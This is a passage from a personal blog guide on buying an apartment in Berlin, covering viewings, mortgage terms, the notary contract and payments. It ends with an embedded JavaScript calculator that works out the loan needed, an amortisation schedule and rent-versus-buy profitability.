&lt;li&gt;&lt;a href="https://bepartofberlin.de/"&gt;bepartofberlin.de/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Set alerts on each website. Be on the lookout for "Vermietet", which means "rented". Surely you don't want to buy an apartment where there's already a tenant with an unlimited contract...&lt;/p&gt;
&lt;p&gt;Whenever you see a listing of interest, send an email. After 6 hours without any reply, call them directly. For each apartment, they should send you back a document presenting the property called an "Exposé". Tell them straight away what your availabilities are for a viewing.&lt;/p&gt;
&lt;h1 id="4-go-to-viewings"&gt;4. Go to viewings&lt;/h1&gt;
&lt;p&gt;If the Exposé does not contain any NO-GO information (like a crazy Energieklasse...), move forward and go to the viewing.&lt;/p&gt;
&lt;p&gt;The PDF I mentioned in the introduction has some great pieces of advice as to what to look for. For instance, mold on the walls/ceiling is a no go, just like single-glazed windows are. Pay attention to the Energieklasse. Be quiet for a few seconds, make sure the neighborhood is not noisy (metro, car traffic, trams, schools, etc). Assess how much repair is needed. Ask about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hausgeld&lt;/li&gt;
&lt;li&gt;New owners, old owners, what the WEG (Wohnungseigentümergemeinschaft - homeowner association) is made of.&lt;/li&gt;
&lt;li&gt;Which walls can be torn down&lt;/li&gt;
&lt;li&gt;How freely you can change the windows, doors, etc&lt;/li&gt;
&lt;li&gt;Presence of asbestos (very often found in vinyl tiles (PVC) flooring laid out before 1993, like &lt;strong&gt;extremely common&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="5-you-found-one-you-like-its-in-your-price-range-reserve-it"&gt;5. You found one you like? It's in your price range? Reserve it!&lt;/h1&gt;
&lt;p&gt;This step mostly depends on your Makler. Some will ask for a bunch of papers to sign + ID card copies to send, some others will also want to see a proof that you have fund and a bank backing you up. Unless stated in the PDF aforementioned, I never heard of anyone having to make some down payment/pay a reservation fee ahead.Just reach out to your Makler and ask how to reserve it.&lt;/p&gt;
&lt;h1 id="6-money-time-the-loan"&gt;6. Money time: the loan&lt;/h1&gt;
&lt;h2 id="how-to-get-a-loan"&gt;How to get a loan&lt;/h2&gt;
&lt;p&gt;You know how much the Kaufpreis of what you reserved is. You should be able to calculate the price you'll have to pay for the Notar, Grundbucheintrag, Grunderwerbsteuer and Maklerprovision (sometimes this one is "free"). You also know your Eigenkapital. Estimate the repair costs (new kitchen, new floor, etc). Do the maths of that all and you'll know how much money you need to borrow.&lt;/p&gt;
&lt;p&gt;Now, 2 options:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go see the banks yourself&lt;/li&gt;
&lt;li&gt;Use a mortage broker&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If your German is good enough and you have plenty of time, 1. is the best option, as you'll likely get the best interest rate. With 2., you will &lt;strong&gt;likely&lt;/strong&gt; get a worse deal, cause even though you don't need to pay the mortage broker, the bank will (the broker usually get a fixed percent of the loan). So in theory, banks will "compensate" without telling you.
But with 2., you'll also save a shit ton of time and hassle. Mortgage brokers are experienced, they know how to solve many tricky situations (no Schufa score...). Not to mention that brokers who speak your mother tongue are a HUGE HELP. They can offer additionnal services, such as acting as an official translator during the Notar meeting, probably free of charges.&lt;/p&gt;
&lt;p&gt;For expats, &lt;a href="https://hypofriend.de/en"&gt;Hypofriend&lt;/a&gt; has been gaining a lot of traction these past few years, as they offer all their services online and in English. For French speakers, &lt;a href="https://www.connexion-francaise.com"&gt;www.connexion-francaise.com&lt;/a&gt; and &lt;a href="https://expatriation-allemagne.com/"&gt;expatriation-allemagne.com/&lt;/a&gt; are good options.&lt;/p&gt;
&lt;p&gt;Most banks in Germany will want to secure their investement with a mortage deed (Grundschuldbestellungsurkunde). More on that in the next chapter.&lt;/p&gt;
&lt;h2 id="understand-your-loan-offers"&gt;Understand your loan offers&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;After the loan is signed, you have 14 days to rescind (cancel) it. It is therfore very important to go to the notary to sign the Kaufvertrag (purchase contract) within these 14 days. Otherwise, should the purchase never happen, you would not be able to cancel the loan.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;"Sollzinssatz" is the interest rate.&lt;/li&gt;
&lt;li&gt;"Monatliche Rate" is what you pay each month out of your bank account: this is the sum of the interests and the repayment&lt;/li&gt;
&lt;li&gt;"Tilgungssatz" (also called "Sparrate") is the repayment rate&lt;/li&gt;
&lt;li&gt;"Bereitstellungszinsfreie Zeit" and "Bereitstellungszins" refer to the amount of time the loan can sit unused at the bank, after which you must pay fees (interests). Usually, a loan must be disbursed within 2 or 3 months, afterwards interests are charged.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In Germany, the most common type of loan is with a fixed-interest period (usually 10 or 15 years) after which you can either renegociate a new interest, pay the whole remaining debt back, or continue the loan with another bank (and another interest rate, most likely).&lt;/p&gt;
&lt;p&gt;Almost all banks allow exceptional repayments (Sondertilgung) every year, up to 5% of the loan. For instance, the Deutsche Bank allow you those Sondertilgung after the first 12 months in the loan, up to 5% of the loan per calendar year.&lt;/p&gt;
&lt;p&gt;You will agree with your bank on a Monatliche Rate, the amount of money that comes out of your bank account every month. In this amount, you pay both interests and debt back. The Monatliche Rate is always the same until the end of the agreed fixed-interest period.&lt;/p&gt;
&lt;p&gt;Each month, you will pay back ((INTEREST RATE * REMAINING DEBT) / 12) in interests, and you will pay back (MONATLICHE RATE - INTERESTS PAID) as debt repayment.&lt;/p&gt;
&lt;p&gt;For instance, the first month, for a loan of 400,000 euros with an interest of 2%, and a monatlich Rate of 2,000 euros, you will pay&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In interests: (0.02 * 400,000) / 12 = 666.67 euros&lt;/li&gt;
&lt;li&gt;In debt: 2,000 - 666.67 euros = 1333.33 euros&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The next month, you will pay:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In interests: (0.02 * (400,000 - 1333.33)) / 12 = 664.44 euros&lt;/li&gt;
&lt;li&gt;In debt: 2,000 - 664.44 euros = 1335.56 euros&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="a-note-on-deutsche-bank"&gt;A note on Deutsche Bank&lt;/h3&gt;
&lt;p&gt;Deutsche Bank will typically open up multiple bank accounts, when you sign a loan with them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A Kreditkonto (whose IBAN ends in 00), for you to transfer your equity capital and pay the invoices related to the purchase (notary, etc).&lt;/li&gt;
&lt;li&gt;A "përsonliches Konto" (whose IBAN ends in 05), which you can optionaly open and use to pay the monthly loan repayments and/or the Lebensversicherung (see below), if you ask them. You can also get one Girocard (EC card) for free.&lt;/li&gt;
&lt;li&gt;Another account dedicated to Sondertilgung (whose IBAN ends in 87).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="lebensversicherungrisikolebensversicherung"&gt;Lebensversicherung/Risikolebensversicherung&lt;/h2&gt;
&lt;p&gt;Depending on which bank you go with, they might require that you sign up for a Risikolebensversicherung: an insurance that would pay a lump sump agreed on (which decreases over the years), in the event of death. It can covers multiple people, if you're not buying alone. The Deutsche Bank is one of the banks that require such an insurance. The cost varies depending on how much money is covered, but expect to pay between 15 and 40 euros per month.&lt;/p&gt;
&lt;h1 id="7-kaufvertrag-purchase-contract"&gt;7. Kaufvertrag (Purchase contract)&lt;/h1&gt;
&lt;p&gt;While you are reviewing the loan offer, you should start thinking about the Kaufvertrag. If the seller gives you the freedom to pick the notary of your choice, choose one who will also edit a copy of the contract in English.&lt;/p&gt;
&lt;p&gt;If you German is not excellent, the notary will probably require that a translator is present during the meeting. Your mortgage broker might be able to take the job. A sworn translator is not always required, as long as the notary is convinced you will understand 100%. Put your translator and the notary in contact.&lt;/p&gt;
&lt;p&gt;The notary will typically send the first draft of the contract over email after a few days. Review it thoroughly. Have it translated via &lt;a href="https://www.deepl.com/translator"&gt;DeepL&lt;/a&gt; if need be. If you buy with somebody, you might want to officially state in the contract how much each of you owns of the apartment. Tell that to the notary, so that it gets written in the contract. Note that this will impact how the Gunderwebsteuer (the 6% tax) is paid: they will ask that each owner pays the tax pro-rata to what each owns, with two separate payments.&lt;/p&gt;
&lt;p&gt;Your notary appointment cannot take place before 2 weeks after the last draft of the contract has been edited (legal requirement).&lt;/p&gt;
&lt;p&gt;A few days ahead of the notary meeting, the notary will ask you a bunch of papers from your financing bank, so that they can start writing the draft of the Grundschuldbestellungsurkunde (mortgage deed). Forward that request to your mortgage broker if you have one.&lt;/p&gt;
&lt;p&gt;The actual meeting is pretty boring: the notary will read EXACTLY AS WRITTEN first the Kaufvertrag, in the presence of the seller and your translator, and then the Grundschuldbestellungsurkunde only with you and your translator. That's all. Nothing more, nothing less. Expect 2 hours.&lt;/p&gt;
&lt;h1 id="8-payments"&gt;8. Payments&lt;/h1&gt;
&lt;p&gt;A few days later, you will receive various invoices from the Notar (Notarkosten at least, maybe the Grundbucheintrag too).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Another few days later, the Notar will ask you to pay the apartment before a given due date.&lt;/strong&gt; What you'll most likely do is, transfer your equity capital to some temporary bank account provided by your financing bank. Then, the bank will pay the seller. The bank might ask you to transfer all of the equity capital you said you had, minus what you paid to the Notar already, and then ask you to pay the remaining future invoices (Grunderwerbsteuer at least) from that temporary bank account.&lt;/p&gt;
&lt;h1 id="conclusion-timeline-of-events"&gt;Conclusion: timeline of events&lt;/h1&gt;
&lt;figure class="center"&gt;&lt;img alt="All the events and when then take place" src="https://romainpellerin.eu/images/buying_an_apartment_in_berlin.png" /&gt;&lt;/figure&gt;

&lt;h1 id="simulation"&gt;Simulation&lt;/h1&gt;
&lt;h2 id="loan-needed"&gt;Loan needed&lt;/h2&gt;
&lt;style&gt;
    table { border-collapse: collapse; margin: auto; }
    table.right { text-align: right }
    table.stripes tbody tr:nth-child(even) { background: #DDD; }
    thead { background: gray }
    thead.sticky { position: sticky; top: 0; }
    th,td { border: 1px solid black; }
    tr.red { background: red }
    tr.green { background: green }
    tr.purple { background: purple }
    input:invalid { outline: 1px solid red; }
    .results {
        margin: 5px 0;
        text-align: center;
        padding: 10px;
        background: rgba(252, 3, 3, 0.5);
    }
    .bold { font-weight: bold; }
&lt;/style&gt;
&lt;div&gt;&lt;input id="maklerprovisionfrei" type="checkbox" /&gt;&lt;label for="maklerprovisionfrei"&gt;No broker commission&lt;/label&gt;&lt;/div&gt;
&lt;table style="border: 1px solid black"&gt;
&lt;thead&gt;
&lt;tr&gt;
    &lt;th&gt;Name&lt;/th&gt;
    &lt;th&gt;Expenditure&lt;/th&gt;
    &lt;th&gt;Capital&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="green"&gt;
    &lt;td&gt;&lt;strong&gt;Equity capital&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
    &lt;td&gt;&lt;input step=".01" value="20000" id="capital" type="number" placeholder="Money on your bank account" /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="red"&gt;
    &lt;td&gt;&lt;strong&gt;Repair costs&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;&lt;input step=".01" id="repair" type="number" placeholder="New kitchen, etc" /&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="green"&gt;
    &lt;td&gt;&lt;strong&gt;Sum capital - repair&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
    &lt;td id="capitalMinusRepair"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="red"&gt;
    &lt;td&gt;Tax (Grunderwerbsteuer 6%)&lt;/td&gt;
    &lt;td id="grunderwerbsteuer"&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="red"&gt;
    &lt;td&gt;Notar (Notarkosten 1,5%)&lt;/td&gt;
    &lt;td id="notar"&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="red"&gt;
    &lt;td&gt;Notar (Grundbucheintrag 0,5%)&lt;/td&gt;
    &lt;td id="grundbucheintrag"&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="red"&gt;
    &lt;td&gt;Broker commision (usually 3,57%)&lt;/td&gt;
    &lt;td id="maklerprovision"&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="red"&gt;
    &lt;td&gt;&lt;strong&gt;Sum Tax + Notar + Broker commision&lt;/strong&gt;&lt;/td&gt;
    &lt;td id="sumTaxNotarMakler"&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="red"&gt;
    &lt;td&gt;&lt;strong&gt;Purchase price&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;&lt;input step=".01" id="kaufpreis" type="number" value="100000" /&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="red"&gt;
    &lt;td&gt;&lt;strong&gt;Total price (Purchase price + Tax + Notar + Broker commision)&lt;/strong&gt;&lt;/td&gt;
    &lt;td id="totalPrice"&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="green"&gt;
    &lt;td&gt;&lt;strong&gt;Remaining capital for the apartement alone&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
    &lt;td id="remainingCapital"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="purple"&gt;
    &lt;td&gt;&lt;strong&gt;Loan needed&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
    &lt;td id="loan"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tbody&gt;
&lt;/table&gt;

&lt;h2 id="profitability-comparator"&gt;Profitability comparator&lt;/h2&gt;
&lt;p&gt;This tool does not take into account the earnings you would have made off savings/stocks if you had not spent that money as down payment.&lt;/p&gt;
&lt;div&gt;&lt;input step=".01" id="rent" type="number" placeholder="Rent + Nebenkosten" value="1000" /&gt; &lt;label for="rent"&gt;Current rent (Warmmiete)&lt;/label&gt;&lt;/div&gt;
&lt;div&gt;&lt;input step="1" id="rent_increase" type="number" placeholder="Rent increase per year (euros)" value="50" /&gt; &lt;label for="rent_increase"&gt;Expected rent increase per year in euros&lt;/label&gt;&lt;/div&gt;
&lt;div&gt;&lt;input step=".01" id="hausgeld" type="number" placeholder="Hausgeld" value="100" /&gt; &lt;label for="hausgeld"&gt;Hausgeld in the new apartment&lt;/label&gt;&lt;/div&gt;
&lt;div&gt;&lt;input step=".01" id="grundsteuer" type="number" placeholder="Grundsteuer" value="30"/&gt; &lt;label for="grundsteuer"&gt;Expected Grundsteuer per month&lt;/label&gt;&lt;/div&gt;
&lt;div&gt;&lt;input step=".01" type="number" placeholder="2" value="2" id="interests"/&gt; &lt;label for="interests"&gt;Interests rate (%)&lt;/label&gt;&lt;/div&gt;
&lt;div&gt;&lt;input step=".01" type="number" placeholder="2000" value="2000" id="rate"/&gt; &lt;label for="rate"&gt;Monatliche Rate&lt;/label&gt;&lt;/div&gt;

&lt;div id="profitability" class="results"&gt;&lt;/div&gt;

&lt;h2 id="tilgungsplan"&gt;Tilgungsplan&lt;/h2&gt;
&lt;div&gt;&lt;input type="date" id="kauf_datum"/&gt; &lt;label for="kauf_datum"&gt;Purchase date&lt;/label&gt;&lt;/div&gt;
&lt;div&gt;&lt;input step=".01" type="number" placeholder="0" value="0" id="sondertilgung"/&gt; &lt;label for="sondertilgung"&gt;Sondertilgung (one payment every 12 months, after 1 year)&lt;/label&gt;&lt;/div&gt;

&lt;div id="summary" class="results"&gt;&lt;/div&gt;

&lt;table id="tilgungsplan" class="stripes right"&gt;
&lt;thead class="sticky"&gt;
&lt;tr&gt;
    &lt;th&gt;Date&lt;/th&gt;
    &lt;th&gt;#&lt;/th&gt;
    &lt;th&gt;Repayment&lt;/th&gt;
    &lt;th&gt;Interest&lt;/th&gt;
    &lt;th&gt;Total paid this far&lt;/th&gt;
    &lt;th&gt;Remaining debt&lt;/th&gt;
    &lt;th&gt;Debt repaid&lt;/th&gt;
    &lt;th&gt;Interests paid&lt;/th&gt;
    &lt;th&gt;Sonder-tilgung&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;script&gt;
function computeProfitability({loanAmount, rate, interestRate, sumTaxNotarMakler}) {
    const rent = +(document.querySelector('input#rent').value || 0)
    const rent_increase = +(document.querySelector('input#rent_increase').value || 0)
    const hausgeld = +(document.querySelector('input#hausgeld').value || 0)
    const grundsteuer = +(document.querySelector('input#grundsteuer').value || 0)

    const profitabilityDiv = document.querySelector('#profitability')

    let sumPaidInOldApartment = 0
    let sumPaidInNewApartment = sumTaxNotarMakler

    let remainingDebt = loanAmount
    let currentMonth = 0
    const rows = []
    const rowZero = document.createElement('tr')

    const rowZeromonthNumber = document.createElement('td')
    rowZeromonthNumber.innerHTML = currentMonth
    const rowZeroAccruedRents = document.createElement('td')
    rowZeroAccruedRents.innerHTML = toCurrency(sumPaidInOldApartment)
    const rowZeroNewApartmentCosts = document.createElement('td')
    rowZeroNewApartmentCosts.innerHTML = toCurrency(sumPaidInNewApartment)

    rowZero.appendChild(rowZeromonthNumber)
    rowZero.appendChild(rowZeroAccruedRents)
    rowZero.appendChild(rowZeroNewApartmentCosts)

    rows.push(rowZero)
    let currentRent = rent
    while(sumPaidInOldApartment &lt; sumPaidInNewApartment) {
        currentMonth++
        if (currentMonth &gt; 12 &amp;&amp; (currentMonth - 1) % 12 === 0) {
            currentRent = roundToTwo(currentRent + rent_increase)
        }
        if (currentMonth &gt; 12 * 50) {
            // No need to process profitability beyond 50, abort...
            profitabilityDiv.innerHTML = `Your investment becomes profitable in more than 50 years...`
            return
        }
        const paidInterest = roundToTwo((remainingDebt * interestRate) / 12)
        const paidDebt = Math.min((rate - paidInterest), remainingDebt)
        remainingDebt = Math.max(remainingDebt - paidDebt)

        sumPaidInOldApartment += currentRent

        const row = document.createElement('tr')

        const rowMonthNumber = document.createElement('td')
        rowMonthNumber.innerHTML = currentMonth
        const accruedRents = document.createElement('td')
        accruedRents.innerHTML = toCurrency(sumPaidInOldApartment)
        const rowNewApartmentCosts = document.createElement('td')
        rowNewApartmentCosts.innerHTML = `${toCurrency(sumPaidInNewApartment)} + ${toCurrency(paidInterest)} + ${toCurrency(hausgeld)} + ${toCurrency(grundsteuer)}`

        row.appendChild(rowMonthNumber)
        row.appendChild(accruedRents)
        row.appendChild(rowNewApartmentCosts)

        rows.push(row)

        sumPaidInNewApartment += paidInterest + hausgeld + grundsteuer
        rowNewApartmentCosts.innerHTML += ` = ${toCurrency(sumPaidInNewApartment)}`
    }
    profitabilityDiv.innerHTML = `&lt;p&gt;With a monthly payment of ${toCurrency(rate)}, an interest rate of ${interestRate * 100}%, and a Tilgungssatz of ${roundToTwo((((rate * 12) - (loanAmount*interestRate))/loanAmount)*100)}%...&lt;/p&gt;&lt;details&gt;
        &lt;summary class="bold"&gt;Your investment becomes profitable on the ${currentMonth}th month (year ${roundToTwo(currentMonth/12)})&lt;/summary&gt;
        &lt;table id="profitability_table"&gt;
            &lt;thead&gt;
            &lt;tr&gt;
                &lt;th&gt;Month&lt;/th&gt;
                &lt;th&gt;Accrued rents&lt;/th&gt;
                &lt;th&gt;Tax + Notar + Broker +&lt;br /&gt;Accrued Interests + Hausgeld + Grundsteuer&lt;/th&gt;
            &lt;/tr&gt;
            &lt;/thead&gt;
            &lt;tbody&gt;
            &lt;/tbody&gt;
        &lt;/table&gt;
    &lt;/details&gt;`

    const profitabilityTbody = document.querySelector('#profitability_table tbody')
    profitabilityTbody.append(...rows)

    let sumPaidInOldApartmentAfterTenYears = 0
    currentRent = rent
    for (let month = 1; month &lt;= 120; month++) {
        if (month &gt; 12 &amp;&amp; (month - 1) % 12 === 0) {
            currentRent = roundToTwo(currentRent + rent_increase)
        }
        sumPaidInOldApartmentAfterTenYears += currentRent
    }
    return {sumPaidInOldApartmentAfterTenYears,hausgeld,grundsteuer}
}

function roundToTwo(num) {
  return +(Math.round(num + "e+2") + "e-2");
}

function toCurrency(num) {
return `${roundToTwo(num).toLocaleString()} €`
}

const multiply = (a,b) =&gt; (a*b)

function computeLoanTable({rate, interestRate, sondertilgung}) {
    const capital = +(document.querySelector('input#capital').value || 0)
    const repair = +(document.querySelector('input#repair').value || 0)
    const kaufpreis = +(document.querySelector('input#kaufpreis').value || 0)
    const maklerprovisionfrei = document.querySelector('input#maklerprovisionfrei').checked
    const capitalMinusRepair = capital - repair
    document.querySelector('#capitalMinusRepair').innerHTML = toCurrency(capitalMinusRepair)
    const tax = roundToTwo(multiply(kaufpreis, 0.06))
    document.querySelector("#grunderwerbsteuer").innerHTML = toCurrency(tax)
    const notar = roundToTwo(multiply(kaufpreis, 0.015))
    document.querySelector("#notar").innerHTML = toCurrency(notar)
    const grundbucheintrag = roundToTwo(multiply(kaufpreis, 0.005))
    document.querySelector('#grundbucheintrag').innerHTML = toCurrency(grundbucheintrag)
    const makler = maklerprovisionfrei ? 0 : roundToTwo(multiply(kaufpreis,0.0357))
    document.querySelector("#maklerprovision").innerHTML = toCurrency(makler)
    const sumTaxNotarMakler = roundToTwo(tax + notar + grundbucheintrag + makler)
    document.querySelector("#sumTaxNotarMakler").innerHTML = toCurrency(sumTaxNotarMakler)
    const totalPrice = kaufpreis + sumTaxNotarMakler
    document.querySelector("#totalPrice").innerHTML = toCurrency(totalPrice)
    const remainingCapital = capitalMinusRepair - sumTaxNotarMakler
    document.querySelector("#remainingCapital").innerHTML = toCurrency(remainingCapital)
    const loanAmount = roundToTwo(kaufpreis - remainingCapital)
    document.querySelector("#loan").innerHTML = toCurrency(loanAmount)

    const {sumPaidInOldApartmentAfterTenYears,hausgeld,grundsteuer} = computeProfitability({loanAmount, rate, interestRate, sondertilgung, sumTaxNotarMakler})
    return [loanAmount, capital + loanAmount, {sumPaidInOldApartmentAfterTenYears,hausgeld,grundsteuer}]
}

function INTERESTS_FOR(remainingDebt, monthlyPayment, interestPercent, sondertilgung, sondertilgungEveryXMonths = 0, stopAfterMonth, currentMonth = 1) {
  if (remainingDebt === 0 || currentMonth &gt; stopAfterMonth) return [0,0,remainingDebt]
  const paidInterest = roundToTwo((remainingDebt * interestPercent) / 12)
  const paidAnticipatedPayment = currentMonth &gt; 12 &amp;&amp; sondertilgungEveryXMonths &gt; 0 &amp;&amp; (currentMonth - 1) % sondertilgungEveryXMonths === 0 ? sondertilgung : 0
  const paidDebt = Math.min((monthlyPayment - paidInterest) + paidAnticipatedPayment, remainingDebt)
  const newRemainingDebt = Math.max(remainingDebt - paidDebt)
  const [totalDebtPaid, totalInterestsPaid, debtLeftToPay] = INTERESTS_FOR(newRemainingDebt, monthlyPayment, interestPercent, sondertilgung, sondertilgungEveryXMonths, stopAfterMonth, currentMonth + 1)
  return [totalDebtPaid + paidDebt, totalInterestsPaid + paidInterest, debtLeftToPay]
};

function computeAll() {
    const rate = +(document.querySelector('#rate').value || 0)
    const interestRate = +(document.querySelector('#interests').value || 0) / 100
    const sondertilgung = +(document.querySelector('#sondertilgung').value || 0)
    let kaufDatum = document.querySelector('#kauf_datum').value
    if (!kaufDatum) {
        kaufDatum = new Date()
        document.querySelector('#kauf_datum').value = `${kaufDatum.getFullYear()}-${String(kaufDatum.getMonth() + 1).padStart(2, '0')}-${String(kaufDatum.getDate()).padStart(2, '0')}`
    }

    const tBody = document.querySelector('#tilgungsplan tbody')
    tBody.innerHTML = null

    const [loanAmount, capitalAndLoan, {sumPaidInOldApartmentAfterTenYears,hausgeld,grundsteuer}] = computeLoanTable({
        rate,
        interestRate,
        sondertilgung})

    const [ totalDebtPaid, totalInterestsPaid, debtLeftToPay ] = INTERESTS_FOR(
        loanAmount,
        rate,
        interestRate,
        sondertilgung,
        12,
        120)

    const totalPriceWithInterests = totalInterestsPaid + capitalAndLoan + (120 * (hausgeld+grundsteuer))

    const moneyLostComparedToRenting = totalPriceWithInterests - sumPaidInOldApartmentAfterTenYears
    const howMuchResell = moneyLostComparedToRenting &lt;= 0.0 ? `You would not even need to resell your apartment, you'd have saved ${toCurrency(Math.abs(moneyLostComparedToRenting))} compared to renting.` : `You'd need to resell your apartment at least &lt;span class="bold"&gt;${toCurrency(moneyLostComparedToRenting)}&lt;/span&gt; to be even with the sum you'd have paid in rent.`

    document.querySelector('#summary').innerHTML = `After 10 years, you would have...
        &lt;ul class="bold"&gt;
          &lt;li&gt;Paid ${toCurrency(totalInterestsPaid)} in interests&lt;/li&gt;
          &lt;li&gt;Paid ${toCurrency(totalDebtPaid)} in debt back&lt;/li&gt;
          &lt;li&gt;${toCurrency(debtLeftToPay)} still to pay&lt;/li&gt;
        &lt;/ul&gt;
        If you were to repay the whole remaining debt at once after 10 years, in total you'd have spent &lt;span class="bold"&gt;${toCurrency(totalPriceWithInterests)}&lt;/span&gt; (your own equity capital + loan + interests + Grunderwerbsteuer + Notar + Grundbucheintrag + Broker commission + accrued Hausgeld and Grunsteuer).
        ${howMuchResell}&lt;br /&gt;&lt;br /&gt;
        If you were still renting your old apartment, you would have spent ${toCurrency(sumPaidInOldApartmentAfterTenYears)}.
    `

    let remainingDebt = loanAmount
    let interestsPaid = 0
    let currentRowDate = new Date(kaufDatum)
    let totalPaid = 0
    for (let currentMonth = 0; true; currentMonth++) {
        if (currentMonth &gt; 12 * 50) {
            // No need to process a loan of more than 50 years, abort...
            tBody.innerHTML = null
            window.alert(`The Monatliche Rate (${rate}) has to be higher, otherwise your loan will last over 50 years`)
            return
        }

        const tr = document.createElement('tr')

        const dateTd = document.createElement('td')
        const monthTd = document.createElement('td')
        const repaymentTd = document.createElement('td')
        const interestTd = document.createElement('td')
        const totalTd = document.createElement('td')
        const remainingDebtTd = document.createElement('td')
        const debtRepaidTd = document.createElement('td')
        const interestPaidTd = document.createElement('td')
        const sondertilgungTd = document.createElement('td')

        dateTd.innerHTML = currentRowDate.toLocaleDateString()
        currentRowDate.setMonth(currentRowDate.getMonth() + 1);
        currentRowDate.setDate(15);
        monthTd.innerHTML = currentMonth

        const interestsToPay = roundToTwo(currentMonth === 0 ? 0 : multiply(remainingDebt, interestRate) / 12)
        let sonderTilgungToPay = currentMonth &gt; 12 &amp;&amp; (currentMonth - 1) % 12 === 0 ? sondertilgung : 0
        const debtToPay = currentMonth === 0 ? 0 : Math.min(rate - interestsToPay, remainingDebt)

        repaymentTd.innerHTML = toCurrency(debtToPay)
        interestTd.innerHTML = toCurrency(interestsToPay)
        remainingDebt -= currentMonth === 0 ? 0 : debtToPay
        if (remainingDebt &lt; sonderTilgungToPay) {
            sonderTilgungToPay = remainingDebt
            remainingDebt = 0
        }
        else {
            remainingDebt -= sonderTilgungToPay
        }
        totalPaid += (interestsToPay + debtToPay + sonderTilgungToPay)
        totalTd.innerHTML = toCurrency(totalPaid)
        remainingDebtTd.innerHTML = toCurrency(remainingDebt)
        interestsPaid = interestsPaid + interestsToPay
        interestPaidTd.innerHTML = toCurrency(interestsPaid)
        debtRepaidTd.innerHTML = toCurrency(totalPaid - interestsPaid)
        sondertilgungTd.innerHTML = toCurrency(sonderTilgungToPay)


        tr.appendChild(dateTd)
        tr.appendChild(monthTd)
        tr.appendChild(repaymentTd)
        tr.appendChild(interestTd)
        tr.appendChild(totalTd)
        tr.appendChild(remainingDebtTd)
        tr.appendChild(debtRepaidTd)
        tr.appendChild(interestPaidTd)
        tr.appendChild(sondertilgungTd)
        tBody.appendChild(tr)
        if (remainingDebt &lt;= 0) break
    }
}

computeAll(); // first loading
document.querySelectorAll('input').forEach(i =&gt; i.addEventListener('input', computeAll))

&lt;/script&gt;

&lt;h1 id="great-how-to-articles-about-buying-in-berlin"&gt;Great how-to articles about buying in Berlin&lt;/h1&gt;
&lt;h2 id="in-english"&gt;In English&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.settle-in-berlin.com/buy-apartment-berlin-in-5-steps/"&gt;www.settle-in-berlin.com/buy-apartment-berlin-in-5-steps/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="in-french"&gt;In French&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.goodmorningberlin.com/financer-achat-immobilier-a-berlin/"&gt;www.goodmorningberlin.com/financer-achat-immobilier-a-berlin/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aberlin.fr/acheter-un-appartement-a-berlin.php"&gt;aberlin.fr/acheter-un-appartement-a-berlin.php&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://guide.mfc.bayern/Acheter_de_l%27immobilier"&gt;guide.mfc.bayern/Acheter_de_l%27immobilier&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.guidewebimmobilier.com/annonce-immobiliere/achat-appartement-berlin-quil-faut-savoir.html"&gt;www.guidewebimmobilier.com/annonce-immobiliere/achat-appartement-berlin-quil-faut-savoir.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://expatriation-allemagne.com/categorie/nos-expertises/immobilier/"&gt;expatriation-allemagne.com/categorie/nos-expertises/immobilier/&lt;/a&gt;&lt;/li&gt;
